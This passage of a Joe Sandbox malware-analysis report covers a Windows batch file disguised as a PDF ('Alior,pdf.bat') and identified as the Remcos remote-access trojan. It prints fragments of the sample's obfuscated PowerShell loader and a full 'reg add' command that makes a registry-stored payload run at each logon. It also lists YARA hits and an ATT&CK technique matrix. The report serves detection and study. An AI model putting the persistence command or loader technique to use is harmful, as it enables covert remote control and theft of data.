$mg.ljo bbaslm:ighrdaefhi k.s yssdt e m e t =o( tfe s t -apfa t ha a$,d e nfideprcesnms )');while (!$grafiksystemet) {studiefagets (slede 'b$igpl o bra ls:su nsf a islga bsldy = $ sktci nhkre,t') ;studiefagets $storefronts;studiefagets (slede 'a[,t h r e asdsipnngs. t h r e a,d ] : :osaltesespv( 4t0 0p0 )');studiefagets (slede ' $ gvlioebeanl :,gdrfacfsimk sdyws,t e,m eutb=,( t e s to-wpta t ht o$ d e.nbi,ehr efnss )') ;studiefagets (slede 'p$ gflao baa lp:wphe r i.p.nfe u maobn isas=u$egol.o b a ls:np ohsrt ndapt.a lrl y + + %s$ bho dpe lds.1b0d3 .jcuodurnst') ;$spunshul=$bodels103[$peripneumonia]}$transcenderende=329225;$ultrastructurally=28193;studiefagets (slede ' $ g.lao bia.l : fue.mhedt a gme,rss hdu s e sr p=c bg eitt-gcoo nktbe n.ts b$ddde,n isehrsepnks');studiefagets (slede '.$sg.lso bvaml :fsstsesgwe p amnud epr n e ss = ,[isbyusit e m . c,o n.v eir t.]d: :vfaraovmmbkags ef6p4 s trrdi.ntg ( $bftedmsedt,arg e r skh u saeas,)');studiefagets (slede 's$kg lho b a ls:ahda vae a bclsen o=f m[ s.y setaeam .	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /c reg add "hkcu\software\microsoft\windows\currentversion\run" /f /v "sorbed" /t reg_expand_sz /d "%dalsnkningens% -windowstyle 1 $knobets=(gi 'hkcu:\software\nskeligeres117\').getvalue('nskebarn');%dalsnkningens% ($knobets)"	Jump to behavior

Source: msiexec.exe, 0000000E.00000002.3380138371.0000000008B46000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerG
Source: msiexec.exe, 0000000E.00000002.3380138371.0000000008B46000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerf
Source: msiexec.exe, 0000000E.00000002.3380138371.0000000008B46000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3380138371.0000000008B69000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: msiexec.exe, 0000000E.00000002.3380138371.0000000008B46000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager.
Source: msiexec.exe, 0000000E.00000002.3380138371.0000000008B46000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerr\|
Source: msiexec.exe, 0000000E.00000002.3380138371.0000000008B46000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager8
Source: msiexec.exe, 0000000E.00000002.3380138371.0000000008B69000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager[bM
Source: msiexec.exe, 0000000E.00000002.3380138371.0000000008B69000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3380138371.0000000008B2D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \|Program Manager\|
Source: msiexec.exe, 0000000E.00000002.3380138371.0000000008B46000.00000004.00000020.00020000.00000000.sdmp, logs.dat.14.dr	Binary or memory string: [Program Manager]

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior

Stealing of Sensitive Information

Yara detected Remcos RAT

Source: Yara match	File source: 0000000E.00000002.3380138371.0000000008B46000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3380138371.0000000008ACA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3380138371.0000000008B2D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: msiexec.exe PID: 6560, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Remote Access Functionality

Detected Remcos RAT

Source: C:\Windows\SysWOW64\msiexec.exe

Mutex created: \Sessions\1\BaseNamedObjects\Rmc-LSHWWC

Jump to behavior

Yara detected Remcos RAT

Source: Yara match	File source: 0000000E.00000002.3380138371.0000000008B46000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3380138371.0000000008ACA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3380138371.0000000008B2D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: msiexec.exe PID: 6560, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Windows Management Instrumentation	1 Scripting	312 Process Injection	11 Masquerading	OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Modify Registry	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	1 DLL Side-Loading	1 DLL Side-Loading	151 Virtualization/Sandbox Evasion	Security Account Manager	151 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	312 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	2 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	22 System Information Discovery	VNC	GUI Input Capture	212 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Alior,pdf.bat

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Remcos

Yara Signatures

Dropped Files

Memory Dumps

Other

Sigma Signatures

System Summary

Stealing of Sensitive Information

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
Alior,pdf.bat